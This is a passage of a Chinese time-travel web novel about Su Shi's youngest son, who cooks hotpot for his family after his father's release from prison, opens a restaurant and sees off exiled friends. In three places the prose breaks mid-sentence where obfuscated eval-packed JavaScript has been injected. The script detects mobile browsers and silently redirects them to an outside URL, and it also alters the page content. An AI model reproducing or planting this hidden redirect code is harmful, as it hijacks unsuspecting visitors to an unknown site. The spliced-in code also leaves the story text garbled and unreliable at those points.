苏过挨个问好，在帅哥旁边坐下，虽然心里已经有了猜测，但未免露馅儿，还是假装腼腆，少说话多微笑。 “一年未见，过哥儿倒是长高不少。去年在徐州山上摘笋的时候，你还非要老师背着呢。”大帅哥秦少游亲切说道。 听到不熟悉的往事，苏过只作不好意思状。 见几人都面色轻松，想必有好事发生。 “大哥，爹的事情怎么样啦，你从湖州拿到证词书信了么？”苏过决定直接问他大哥。 “拿到啦，祖通判早就写好了上表，州学各位教授也都愿意作证父亲任上所作诗文言谈，并无不敬之意。都已经交给章世伯了。”苏迈言语之中也轻松许多。 “而且听说荆国公也从江宁寄来手书为老师陈情，想必官家会慎重考虑的。”秦少游补充。 苏过反应了一会儿才想起来荆国公是王安石，果然，大佬之间都是惺惺相惜的。 一个大佬落了难，许多大佬一起捞。 更何况宫里还有个老苏的大粉丝曹太后呢，想必那两首绝命诗已经传到宫里了，论舆论和人心的重要性！ 果不其然，第二日大朝会一结束，苏家就收到消息。 老苏的判决下来啦，贬黄州团练副使，年前上任，再过两天就可以从牢里出来了！ 可喜可贺，终于可以见到活生生的老苏了。 苏过心里激动。 但突然又想到一件事，年前赴任黄州，他那还在计划中的火锅店怎么办？ 又要出师未捷先落空么？！ 4. 第 4 章 苏过期期艾艾的向王氏表达了担忧，“我们是要搬家去黄州了么，京城里的店铺和屋舍怎么办呀？” 王氏不愧是能撑起门面的实际当家人，听了儿子的担忧，只轻轻挥了挥手“本就是提前置办预备着的，跟以前一样找牙行租出去就好了，脚店你若还想继续练手，定好章程让李叔帮忙管着。” 苏过乖巧点头。 王氏见他的样子，一下子从得知丈夫释放的欣喜中犯上点心酸来，摸了摸苏过的头。 “黄州地处偏僻，我儿要跟着吃苦了。你朝云姐姐他们也只能从湖州过去，路上没办法照应。” 苏过一下子耳朵竖起来，难道是他老爹的知音，不合时宜王朝云。 也对，他们家原本是在湖州当官的，老爹被关押回京城，肯定还有人留在湖州呢。 见母亲面露忧色，苏小郎连忙插科打诨，问起远行的各项准备，务必让王氏振作起来。 也是这时才知道，原来留在湖州的大部队有十几人，除了名为侍女，实则被王氏当半个女儿疼的王朝云外，他大嫂带着年幼的侄儿并许多老仆都在。等老苏去了黄州，他们也会直接从湖州出发，在黄州会师。 大哥竟然成亲了，他还有个一岁的侄儿。 苏过已经被各种新信息塞满了头脑。 这么小的孩子，长途跋涉，难怪母亲会担忧。 苏过能怎么办，他只能装乖卖傻蹭了蹭王氏的手，“那我去研究下有什么方便携带的吃食，到时候给嫂嫂他们也捎过去一些。” 王氏心底那点小伤感一下子就散了，“去吧。” 她也还有好多事情要安排准备呢。 苏过于是直奔厨房，顺便拉上在旁边一起伤感的二哥去帮忙打下手。 要说旅行居家的必备物品，那肯定是方便面自热锅了。 自热锅比较复杂暂时放弃，可以弄一些火锅底料，方便调料。到时候有啥煮啥，吃啥都香。 京城的食肆要继续开下去的话，火锅底料要趁早准备起来，定好配方和章程，到时候他就算不在京城，也一样能运作顺利。 计划通！ 当天中午，苏家就吃上了香喷喷的方便面。 获得来自王氏和苏迈的一致好评。 苏迨生无可恋坐在一旁，不是不想给好评，而是苏过一上午试了好多版本，最后都进了他和张叔张婶的肚子，硬生生撑的他都不想说话，甚至还有点困乏。 下午，精力充沛苏小郎准备去忙自己的食肆。 留二哥在家休息，苏过带上计划书，揣了几包方便面便去找李掌柜。 成功征服李掌柜味蕾。 在尝过方便面后，李掌柜甚至建议直接卖这个就好，保准生意兴隆。 这才哪儿到哪儿，苏过表示等他的火锅底料出来，指定香的整个巷子都是食客。 李掌柜很是信服，在看到苏过带来的详细计划书后更是佩服的五体投地。 苏小郎小小年纪就能安排这么周密，还厨艺惊人，幸好之前自己没有轻视了去。 人家这孩子都怎么长的，不愧是苏子瞻的儿子，他日必然又是一个神童。 看着李掌柜的神情，苏过面上不显，心里却很是得意。 就是这样，让崇拜来的更猛烈些吧。 毕竟不久自己就要离京，好几年才回来。 这期间各项事宜都要李掌柜帮忙打点，不提前收服人心怎么行，京城可是重要根据地。 如今已是十月底，年前赴任黄州，留给他们在京城的时间可不多了。 抓紧抓紧。 苏过拿出计划书，将自己的店铺改造计划跟李掌柜一一道来。 店铺布局，桌椅摆设，碗碟配件都要一一置办。 尤其是用来煮火锅的锅子，如今还并没有类似吃法，加热也只能用木炭，苏过只能凭借自己想象，画了一个草图，得看有没有能工巧匠可以做出来，既能方便涮菜，又能保温省碳。 好在李掌柜经营京城多年，人脉手段都不缺，当下便表示这些东西都可以找相熟的匠人，到时候送给小郎查验。 虽然拿到王氏的天使投资，但目前资金还是比较紧张，于是苏过也抛弃了原本大修大改的计划，只在店里原有布局上进行修改，但很多添置难以避免，这一套下来，还是造价不菲的。 李掌柜保证自己绝对能在熟人那里拿到最优价格，两人又商定了工期，一切顺利。 苏过突然又想起来一件事，忙问李掌柜可知道汴京哪户姓狄的人家，有个和他差不多大的孩子，长得十分好看还力大无穷。 李掌柜思索了一下，并无这等印象，于是答应了帮忙留意着，一有消息就通知苏过。 苏小郎满意离去。 接下来要投入底料研发啦，让我们离京之前，把火锅店开起来！ 这一日，苏家小院子被香气围绕，苏过在厨房里忙着调配各种底料。 原本以为没有辣椒，可以先直接使用现代大热的番茄锅，结果发现竟然还没有番茄这种东西。 系统商城里面，番茄种子要四级以后才能购买呢，早得很。 计划泡汤，苏过只能着手别的口味研究。 好在虽然材料有限，但基本的调味品和替代还是有的。 目前没有辣椒，但茱萸已经被喜辣的人频繁使用。 苏家出身蜀中眉州，家里备了不少茱萸，甚至还有好几坛子酸菜。 苏过将两者搭配，竟也弄出了香气逼人的酸辣锅，当然，辣味没那么明显。但对于还没有被辣椒征服的北宋人民，尤其是京城居民而言，已经足够啦。 这个味道一出，院子里的香味更上一个台阶，苏家附近的邻居都崩溃了，这还没到饭点呢，搞这么香做什么，弄的他们都饿了。 不对，幸好还不是饭点，如果饭点的时候还这么香，岂不是衬得自家饭食难以下咽。 苏家本就住的毗邻开封府，这香味飘着飘着就飘到了正在府衙办公的府尹李肃之这边。 北宋历来开封府尹都是由官家亲信或者公认的未来宰辅担任，如今的府尹李肃之却以近八十高龄被官家钦点任职，显然并不是做跳板升职的，而是看重他平稳治下的能力。 如今正值改革后期，朝堂上新旧党纷争不断，乌台诗案更是让两边争执了好几个月。 这样的时局，开封府很需要一个定心剂。 李肃之也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405634|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负众望，将开封府管的很好，丝毫没有让朝堂上的动荡影响百姓生活。 身为准耄耋老人，工作上的事虽然处理的还算游刃有余，但年纪大了，难免身体上的各种问题就冒了出来。 近来公事繁忙，李府尹已经好一阵子都胃口不好了，一到饭点闻到饭菜味就腻腻的难受。 吃饭不香，睡的不好，向来稳重的人都开始有点焦躁。 这会儿正看着卷宗，却有一股隐隐约约酸香味道飘来，让人口水分泌，突然有点想吃东西。 走出房间，只见很多人似乎都闻到了这个味道，连府里打杂的小吏都停下手里的活儿，往西南角张望。 见府尹都被吸引出来，小吏也没有被抓包的尴尬，还兴致勃勃分享自己得知的有用信息。“味道是从西南边苏家飘出来的，听说苏大人今日出狱，估计正做什么好吃的接风洗尘呢。” 原来是苏子瞻家。 李肃之虽然得官家看重执掌开封，但本身也是旧党出身，几年前还和苏子由共同主政齐州，一起复兴礼教，抗洪修桥，两人惺惺相惜，相处十分融洽，有次李肃之办重阳宴，苏子由因病缺席，还特意写诗表示遗憾。 他和苏轼虽没有直接联系，但他堂弟李公择可是苏轼挚友，两人成天写诗唱和。 四舍五入，苏子瞻也是他半个小友了，小友出狱，怎么能不去看望一番呢。 年纪大了，很多事情也都看的开，打定主意，李肃之就连仆从也不带，就去拜访苏家了。 自报家门被张叔迎进去，就看到苏轼尚未归家，但已经有人先他过来了。 王巩和王诜正坐在位置上吃苏过新做的南瓜饼。 进院子后香味更浓，却不知道是何材料，除了原本的酸香外，还有一股带着胡椒味的鲜香。 也不好直接就问，于是落座和众人闲谈。 这王巩和王诜也是可怜，都是苏轼密友，因乌台诗案被牵连。 王巩本是世家子弟，祖父还曾官至宰相，如今却因收受苏轼书稿，被判贬谪宾州。 王诜更是身为驸马，却提前通知苏辙营救苏轼，被削了一切官爵。 整个乌台诗案，牵牵连连二十余人，引得朝局动荡，如今好歹尘埃落定了。 苏过听说开封府大老爷都来了，连忙带着新做好的小米饼过来，府尹大人年纪大了，可吃不了不消化的糯米饼。 见苏家两个儿郎都机灵聪慧，免不了升起考教之心。 大人通病，见了喜欢的小辈，不是表演一下就是考试一下，根本不能愉快玩耍。 幸好苏过生怕露馅儿，这段时间很是恶补了一些书本。而苏迨更是本身就勤奋好学。无论问什么都答得言之有物。 长辈们越考教越喜欢。再拿一块米饼放在嘴里，蓬松酥脆，不想咬也可以抿在嘴里入口即化，香香甜甜很是开胃。就是不知掉正餐什么时候开始。 于是可怜的正主苏子瞻，被关几个月后终于出来，见到长子苏迈与两个弟子，心底无比心酸，直感慨：平生文字为吾累，此去名声不厌低。 结果一到家就闻到更加酸酸的气味，酸的人胃口大开，烦劳全消，只想干饭。 这是什么味道？ 5. 第 5 章 “母亲，二弟三弟，父亲回来啦。” 听到院子里大哥声音，苏过连忙向各位叔伯告罪出去，考试如魔鬼，教室即深渊，这么一会儿仿佛回到高三一般让人恐惧。 来到院子，只见大哥扶着一个清瘦的中年帅哥进来，身上衣服略显脏乱，但仍不掩大佬风采。 此情此景，苏过一下子心酸想哭。 说好的老苏是个大胖子呢，这么瘦，是在牢里吃了多少苦啊！ 毕竟也只是个七岁孩童，不知是生理反应还是感触加成，苏小郎一下子扑到苏轼怀里哭了出来。 二郎自持要大两岁，不肯丢脸痛哭，但也眼泪汪汪站在旁边。 王氏扶着门，已是掉下泪来。 这几个月的担忧惶恐，不足为外人道。 虽说北宋一般刑不上大夫，但自家这个可是被告的谋逆，一个不小心，怎么判都有可能。 这段时间，虽老苏好友众多，共同努力在捞人，但更多的好友是被牵连进去一起受罚，明哲保身划清界限的也是大有人在。 王氏一边为丈夫奔走，一边照顾家里，内心酸楚都无人能说。 苏轼一手搂过一个儿子，走到王氏面前，千言万语，倒说不出来，只躬身一揖，“夫人辛苦了。” 王氏一下子破涕为笑，轻捶了苏轼一下，“定国和晋卿也在呢。” 如此感人的一家重逢场面，王巩和王诜也不禁生出些文人的细腻情怀来。 见到两人，苏轼也是感慨，“是我连累了二位。” 几人素来交情颇深，哪听的了这种话。 “时也命也，朝局如此，你我不过都是浪中扁舟，何来连累一说。”王巩安慰老友。 王诜更是向来不在乎这些，“无名一身轻，如今我好吃好喝自有公主照顾，日子再逍遥不过了。” 苏轼深知好友脾性，都不是扭捏之辈，故也不再多言。却看到旁边还站着一个老人，不禁面带疑惑。 李肃之见状，本来坦然的心态倒生出几分不自在来。 总不至于说我是闻着你家香味，特来拜访的吧。 但老人家经历事儿多，心态是稳，立马调整好表情，倒也九分真一分假地说道，“以前在齐州常听子由提起兄长，可惜不曾得见，今日听闻苏大人归家，特来探望。” 苏轼转念一想便明白了眼前何人，“李大人客气了，以前子由常在信中提起大人诸多照顾，在下感激不尽。” 几人寒暄落座。倒是有很多话要聊。 苏过突然低呼一声，“我的锅底还熬着呢。” 老苏不解看过来，苏小郎腼腆一笑。 王氏忙道，“儿子特意准备了吃食，说是要给你接风洗尘呢。” 苏轼这才想起来一直绕在鼻尖的香味。 苏过解释，“我准备了涮锅，一会儿大家可以边吃边聊。爹你先去洗漱一下吧。” 在牢里住了几月，身上的确不适，苏轼点点头就回房梳洗去了，王氏忙去安排。 苏过也准备去再做几道点心，老苏在牢里吃苦了，都饿瘦了，一定要好好给补一补。 李肃之本就为了蹭饭而来，见状慢悠悠踱步到厨房，苏过正在揉面做饼，只见柔软的面团在他手里听话的被擀成薄薄一片，而后竟然拿在手里旋转，越转越大，然后飞过头顶又落下被接住，仿佛杂耍一般。 此番景象，李肃之平生未见，忙问苏过这是何物。 苏过脱口而出，“印度飞饼。” 一说完就觉得不妥，印度现在是叫天竺么，岂不是天竺飞饼。 自唐玄奘取经归来，就在《大唐西域记》中将天竺译为印度，因此李肃之对这个名字倒接受良好，只惊奇，“这等西域食物小郎竟然也会，真是涉猎广泛。” 苏小郎只得谦虚表示看过一些西域书籍，毕竟各种杂书还是挺好的一个借口，基本各种知识都能找到，总不能说是遇到天竺僧人跟人家学的吧。 生活太难，小苏叹气。 点心很快做好，苏过唤来张叔张婶，将准备好的锅子与配菜端出去。 李掌柜的人脉果然不一般，隔天就将锅的样品送了过来，可以看出比较粗糙，但基本结构已经是按着苏过的草图来。 李掌柜不敢耽搁，连忙送来说让苏小郎试试哪里需要改进。 这年头的工匠真是不可小觑，苏过简单试用了下，基本没什么问题，只待打磨的更精致即可。 李掌柜满意而去，留下两个锅子样品，刚好苏过拿来搞接风宴。 还有什么，能比热腾腾的火锅，更能抚慰刚从监牢出来的脆弱大佬呢，如果有，那必然是还没出现的红汤锅，可惜现在还没辣椒，且再等一等。 张婶在苏过的安排下准备了各种配菜，甚至张叔不知哪里来的渠道，竟然得到一块儿新鲜牛肉，说是犁地崴了脚活不下去的。 苏过还能怎么办，只能赞道，实在太可惜了，然后迅速将牛肉片成薄薄一片。 幸好苏家的餐桌够大，满满当当摆下了两个锅子和一堆碗碟。 刚刚起步，苏过并不准备搞太复杂，只做了单口味锅底，鸳鸯锅等以后再说。 于是现在在桌上的，就是一个酸辣锅底与一个胡椒猪肚鸡。 在苏过的解说与演示下，众人终于知道香了自己这么久的是什么东西了。 酸辣锅底开胃，猪肚鸡养生，两者搭配，完美！ 忙学苏过的样子，将喜欢的菜放到锅里烫。 尤其是那薄薄的牛肉，在锅里烫一小会儿就熟透卷起，一口下去，美味极了。 王巩和王诜甚至有点后悔之前南瓜饼吃太多，太占胃容量了。 本来是准备一边吃火锅一边聊天的。 结果食物太香，大家忙着涮菜吃肉，都无暇说话。 苏轼尤其喜欢酸辣锅，酸酸的开胃，又有一点辣味刺激味蕾，涮菜好吃，牛肉片好吃，还有那什么飞饼，也很好吃。 果然美食最让人感觉重回人间。 苏轼一下子感觉几个月牢狱里的心酸，都如这火锅的热气一般氤氲，仿佛很久以前的事一样，变得轻飘飘了。 李肃之更是胃口大开，这段时间的胃口不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405635|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好果然只是没有遇到好吃的食物。 众人将所有配菜一扫而空，点心都不曾落下一点。 最后都一个个只觉得食物快撑到胸口。 哪怕吃完了，也撑撑的，完全说不出话来，生怕一开口就是一个饱嗝。 只得约好了改日再聚，大家略坐了坐便告辞离去。 接下来几日，苏轼享受着苏过变着法的投喂，每天两餐加点心，几乎都不带重样。 两人很有一番父慈子孝的感觉。 本以为老苏这种被贬的官员，应该是门前冷落，结果几乎每日都有拜访客人。 门客学生，好友挚交，同年相熟，大佬一个接一个，苏过都快要祛魅了。 结果没过几天，竟然来了一个重量级人物，章惇来看望苏轼了。 不对啊老苏，人家章惇都已经官至三司使，马上要当副相的人，为了你跟当朝宰相王珪当面怒怼。 竟然没有亲自去拜访道谢，还等着人家来拜访你。 难怪后面关系变差。 不过两人关系倒其实还挺融洽的，晚年老苏写信亲自印证，定交四十余年，交情固无增损。 只不过政见不同，私谊不敌党争而已。 再次见面，两人默契的没有提及朝政事宜。只回忆往昔，当年两人同榜进士，结为莫逆，同游仙游潭时，章惇还冒险在石壁上题字“章惇苏轼来游”，苏轼叹其“能自拼命者能杀人”。 没想到一语成谶，为新政，章惇何止拼命，而“杀人”也最终伤到了好友。 苏过在旁边听的唏嘘，大佬们长得眉清目秀，原来年轻时也喜欢到处写“到此一游”啊。 留两人继续追忆往昔，苏过决定替不懂事的父亲好好做些好吃的感谢这位好友。 听说章大佬是浦城县人，那边可是有好多菜色纳入非遗传承了的。 形似燕窝的肉燕，豆腐丸，黄碱粿，中元油麻糍，甚至还有鼎鼎大名的梦笔生花宴，十道菜特别讲究，里面的风火三绝将黑笋干、风吹肉、熏鱼干放一起爆炒，太契合老苏“无肉令人瘦，无竹令人俗”的饮食标准了。 可惜手边材料不够，上不了这么硬核的菜，还是做些简单的吧。梦笔生花宴，以后会有机会的。 于是苏过指挥着张婶将嫩豆腐捣成泥，裹上猪肉粒，做成豆腐丸，又用猪骨高汤煨上。另炸了油麻糍做点心。风味三绝咱们做不了，新鲜黑鱼，拿来做酸菜鱼也是极好的。 老苏在狱中吃鱼吃的心惊胆战，出来了，总可以好好享受鱼儿的美味了。 将要领嘱咐完，苏过便留张婶自己在厨房忙活。 不是他不想亲自下厨，毕竟七岁的小孩，天天蹲灶台边，哥哥们和娘亲见到了，不得耳提面命的教育他，现在还要多一个老苏呢。 还是继续回去听大佬们聊天吧。 苏过端着小食和茶回去，却见两人已从回忆往昔聊到了这次的乌台诗案，然后不可避免的聊到了政治主张。 房间里火药味很是浓厚。 怎么他才出去了一会儿，这里画风就变这么快呢？！ 6. 第 6 章 “官家瞩意新政，诗作不过小事，立场才是关键。你若肯改弦更张，便是官至宰辅，也不过时间问题。”章惇仍有心劝苏轼，毕竟此次风波虽也算平稳度过，但若不改变根本，黄州不过只是被贬的开始而已。 苏轼虽经历了这遭，但他可是在科举时都敢编造典故的人，哪能轻易随波逐流。 “朝堂之争，何足挂齿。新政之法冠冕堂皇，却浮于表面，平增百姓负担。” 苏轼不是反对新政，而是在地方上见了太多改革主张被暴力执行。而且为了推行新政，竟然设立三司条例司，不经中书省审议就擅定法令，如此下去，非但不能拨乱反正，反而平增乱象。 苏过听了半天，原来他爹与章大佬也不是完全政见对立，只不过一个是激进派，一个是温和派而已。 哎，算什么大事儿。 要说起改革，在坐的两位都还太年轻。 他可是经历了近现代史大大小小无数改革理论洗礼的人，虽然都是纸上谈兵，但也绝对能说个一二。 于是苏小郎举手，表示自己有意见。 “儿子在书上曾看过一句话：实践是检验真理的唯一标准。既然二位都觉得自己所为是对百姓有益，那便试点看一下咯。” 要他说，老爹和章大佬都是文人思维太重，明明都有地方经验，却不摆事实讲道理，理论再多，哪有数据有说服力。 “此话虽直白，却很有道理，是哪位贤者所著。”章惇发问。 “出处小侄不太记得了，只记得是位名叫邓公的人所写。”苏小郎谦虚表示，自己只是偶然看到，并不记得那么多详情。 “这位邓公倒是通透，若能参与新政，何愁改革不成。”章惇感慨。 那可不是，这位邓公改革可是专业的，可惜还有好几百年才出世呢。 于是苏过开始劝他俩，既然都认可这句话，何不试一试，他们俩，好朋友，一个在中央主导理论，一个在地方多加实践，再一起多多讨论，那好的政策不就出来了么。 他爹还和荆国公王安石互相通信呢。这年头，大佬们都成天书信往来，不要只写诗互夸，多聊聊实际问题，真理越辩越明，把事情搞明白，落实下去，才真的利国利民。 不然也只是东风压倒西风，过几年换个官家，一个个都是轮流被贬的命，苦了自己，也苦了百姓。 而且道理越辩越明，感情越交往越深，他就不信，书信来往几十年，到时候章大佬还忍心看他爹春天睡个懒觉就不爽，再次贬谪。 听苏过讲的头头是道。章惇不禁感慨，“你我竟不如一个七岁小儿通透，此子肖父，以后必大有可为。” 苏轼点点头，儿子被夸比自己被夸高兴多了，“此子从小聪慧，此番波折之后更是稳重许多。” 家有麒麟儿的快乐，很值得写诗庆祝一番。 苏过被夸的不好意思，只能继续作腼腆状。今天为了劝和老爹跟章大佬，暴露太多了，以后得小心一点。 更何况，大有可为什么的，有大佬们忙活就好了，他就负责好吃好喝好好生活就好。 于是忙说去看看饭菜准备的怎么样，溜出了书房。 用膳的时候，章惇见桌上家乡美食，很是感动。又一尝，跟记忆中味道无二，甚至更胜一筹。 他自科举离家，已多年不曾回去，更非重口腹之欲之人，自然也不会关注这些吃食。数十年过去，再尝到家乡味道，倒生出些感慨来。他们这些人官场沉浮，多是少小离家老大回，辗转多地，终究难回故乡。 “黄州地处偏僻，子瞻你向来善吃善玩，不知到那儿能否习惯。”章大佬难得心生感慨。 老苏倒是天性乐观，“靠山吃山，靠水吃水，黄州自有黄州乐趣，且去看看。” 见两位大佬惺惺相惜，苏过实在想不通为什么后来章惇会主张将苏家两兄弟一贬再贬，还根据人家名字谐音来选地方，“苏子瞻谪儋州，以瞻与儋字相近也”。也许这是大佬的另一种照顾方式？ 不懂不懂，以后再看吧。 一顿饭吃的宾主尽欢，老章和老苏差点聊的抵足而眠。但终究不是年轻人，于是告辞而去，约好以后多加书信。 苏过忙着陪亲爹招待亲友，却也没有忘记自己的大事。 火锅店！ 因知道即将离开，苏过直接将各种大小事宜都交给李掌柜安排，自己只负责验收。 李掌柜也不负众望。 这一日，他的火锅店终于要开张啦！ 苏过的新店名为沸春居，取自《东京梦华录》中“冬月虽寒，沸汤如春”，算是纪念这个开张在冬月的首家店铺。 北宋严禁官员经商，怕其与民争利。苏家的各种店铺都是挂在家中老仆名下。 苏过倒无心争利，他开店只为传播美食，挣更多满意值而已。 因此尽管菜色丰富，味道出众，也只定位平民美食。 开张这日，果然如苏过所言，锅香不怕巷子深。 苏过特地让李掌柜寻了两口大锅，在食肆门口熬煮汤底，熬的就是经过多日老苏品尝下来评选的最香味道，酸辣锅和胡椒猪肚鸡。 鲜味和香味往外飘了很远，再加上吃火锅本来就有种热闹氛围，围观百姓见店铺人声鼎沸的，一下子就忍不住往里走。 菜品明码标价并不昂贵，除锅底价格稍高外，别的菜品根据荤素不同，从几文到几十文不等，比别家一个菜便宜太多，与朋友几个人一起点个锅底，平均下来很是划算。新店开业还有折扣，几个活动组合拳下来，附近的百姓都被吸引过来，呼朋唤友想要尝尝鲜。 嫌大堂吵闹的，二楼也有设立包厢，清幽雅致，适合一些自持身份的人。 等以后打出知名度来，如果还有不肯屈尊降贵来店里的人，咱们也可以提供外卖服务，不过初期人手不够，而且也以控品为主，先不开放。 更何况就算官方不提供外卖服务，街上也有很多闲汉乐意替贵人跑腿。大宋商业发达，这类业务，可有人做呢。 苏过带着全家人坐在预留的包厢里。看楼下很快排起了长队。 幸好早有预见，让李掌柜做了许多号码牌，数桌开外的人可以领个号码牌，晚点再直接过来，不用现场干等。 尽管这些天在家也吃了好几顿火锅，但在店里，大家吃的还是很尽兴，尤其是老苏和苏二郎最捧场。 “这般烟雾缭绕的食物，自然要在最有烟火气的地方吃才最尽兴。”老苏还给自己找了个理由，与众人乐才是真的乐。“可惜定国明日就要前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405636|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往宾州，不然约他们再聚一次，想必也会吃的尽兴。” 苏轼感慨完也不纠结，继续忙着吃饭，毕竟就这么会儿功夫，刚烫熟的肉丸就被苏迨夹走了。别看苏二郎瘦弱，但吃饭的战斗力可不弱。 忙了一天，苏过洗漱完正准备回房歇息，却见书房依旧亮着灯火。 轻轻敲门，待门内有回应后推门而入。老苏正坐在书桌后面研磨，面前铺了许多信纸。 “爹，你还不休息么？”苏过跑到老苏身边，仗着自己年纪小，赖着就要看老苏在干嘛。 苏轼倒是一下子将他抱到身前，吓了苏过一跳。毕竟古代讲究抱孙不抱子，苏过虽然只有七岁，但在北宋，也算半大小子了，更何况他内里还是个十六岁的“成年小伙”，一下子倒真的羞涩起来。 不过坐在老苏胸前，倒是方便看清了写到一半的诗作，是一首送别的诗。 想到今日苏轼的感叹，苏过挺能理解他们心情的。 毕竟这个年代，车马很慢，山高路远，谁也不知道哪次离别是不是就是永别，所以才那么多离愁别绪。 而且好友被贬宾州，虽然不能全怪自己，但总归是因自己而起，心中愧疚又哪是那么容易消解的。 夜深人静，自然感慨万千，最终落于纸上，想给好友写一首送别诗。 “不日我们也将启程前往黄州了，我儿害怕么？”苏轼低头看向自己最小的孩子。 这些天他忙上忙下给自己接风洗尘，照顾饮食，又热热闹闹的搞了个火锅店，看似稳重有章程，但何尝不是对未知的一种忙碌性防御呢。 长子已经成家，自然担得住事。二子体弱，三子年幼，都是需要照顾的年纪。就连王氏，也不免偶尔露出对黄州之行的担忧，更何况这两个孩子。 思及此处，乐观如苏轼，也不得不有一丝伤怀。 苏过没有读心术，如果知道老苏此时所想，一定大声摇醒他，想什么呢，这可是全国旅居，带薪游玩，求之不得好么，怎么会担忧！ 虽然知道老苏的作品都是精华，每多一首就多一份文化遗产。 但见亲爹如此伤感，苏小郎还是于心不忍。“听说黄州湖泊众多，各类河鲜无数，等我们去了，一定要尝个遍。” 听到少年如此有元气的回答，苏轼一下子觉得自己的伤感有些莫名。 苏过推开老爹写到一半的诗作，拿起笔开始自己创作。 写诗固然直抒胸意，但哪有实际关怀打动人心。王伯父去那么远的地方，人生地不熟，最需要的是什么，当然是一份美食游玩指南啦。 好吃好喝身体好，发展经济少不了。美食的确定性才是抵抗远行忧虑的解药啊。 苏过唰唰唰写了好多张纸，满满都是广西美食。 苏轼见状，一下子开怀起来，将写到一半的诗作扔到废纸堆里。 好友即将远行，的确不宜伤感惜别，还是美食相赠好了。 见老苏扔掉草稿，心情好起来，苏过更加兴奋，于是笔下不停，食谱写了一张又一张。 苏轼越看越疑惑，“这么多食谱，三郎你都是哪里看的？为父不记得家里有这些书呀。” 写的正开心的苏过：嗯？ 完了，我要怎么编。很急，在线等。 7. 第 7 章 这么多书，让他一个七岁孩子读完，这合理么！ 苏过也只敢在心里吐槽，默默收下单子，应了声，然后回房睡觉。 老苏逗完孩子，见幼子一副忿懑表情，心满意足收好稿纸，熄灯休息。 第二日苏轼带三子送别王巩。 此番被贬宾州，王巩是所有人里被牵连最重的一个。宾州地处岭南，历来是“瘴疠之地”，生活不易，所以苏轼之前才会如此伤感。 此番前往，王巩只带了长子与侍妾柔奴随行。其正妻为宰相张方平之女，留在汴京照顾王氏家业，同时幼子年幼，也需要在京城好生照料。 二人都是洒脱之人，因此苏轼也未曾露出离愁别绪，只拿出昨夜苏过所写食谱赠予王巩，“听闻定国即将远赴宾州，幼子特地抄了些食谱，望照顾己身，好生珍重。” 王巩接过一看，竟是许多广西特色美食，宾阳酸粉，甘棠扣肉，甘棠大粽与盐腌酸梅，主食甜品无一缺漏，甚至还附了许多养生汤，可以说是方方面面照顾周到。 王巩对苏过一拱手，“贤侄有心了。”看完这些，仿佛只是去很远的地方游玩一般，倒的确减少许多愁绪。 苏过腼腆一笑，从大哥手上拿过巨大一个包袱递给王巩。 王巩不明所以。 苏过打开包袱一角给他介绍，“这是我前段时间研究出来的方便美食，准备去黄州途中用的，给王伯父也准备了些。” 说完便介绍起来，热水泡一泡就能吃的方便面，十分下饭的酸豆角，煮汤煮面时放一点就能提鲜的菌菇粉，烤肉时刷一点的烤肉酱，覆盖各种餐饮场景，随时随地方便快捷。 苏过一看就是爱吃的人，介绍美食时整个小孩都是眉飞色舞生气勃勃的。 仿佛路上每一次落脚的饮食安排都有被照顾到，一下子充满期待。 讲的太开心，苏过都有点收不住，还是亲爹在他旁边故作清嗓的咳了两声才让勉强刹住。 马车里传来一声轻笑，一只纤细的手掀开帘子，正是王巩的侍妾柔奴。“小公子率性活泼，考虑的很是周到，妾身这一路恐都受益匪浅，先在此谢过了。” 听老苏介绍了这是谁后，苏小郎一下子兴奋起来。 这可是另一个历史名人呢，那句“此心安处是吾乡”被老苏写进诗中，传唱千年。本来出身御医世家，父亲却因冤案死于狱中，被叔父卖入行院，琴棋书画样样精通，能歌善舞还医术高明。 王巩此次去宾州，大部分家仆皆散去，也只有她毅然随行，十分有情有义。 对于此等名人，苏过在心里暗暗欣赏，然后乖巧表示，都是应该的，以后如有需要，还可以托人给他们再捎过去，完全不用担心。老苏跟王伯父肯定好多信要写，到时候跟着信一起送去就行，都不费事。 众人又叙了叙旧，若再不出发恐误了行程，才勉强收住。互道了珍重，见马车渐渐远去，再也看不到踪影，苏轼才带着三个孩子返家。 接下来，他们也要开始准备出发去黄州了。 古时通行不便，现代只需要几小时高铁的事，到了这里，就需要十天半月甚至更久。 最近这些日子，王氏一直在为路上做准备，苏过也没闲着，让张婶制作了一堆方便食品，送给王巩的只是其中一小部分，还有好多准备留着自己使用，而且，还不止他们，大哥苏迈要先回湖州，再带着嫂子和小侄子前往黄州，路程更是遥远，苏过也为他们备了一份。 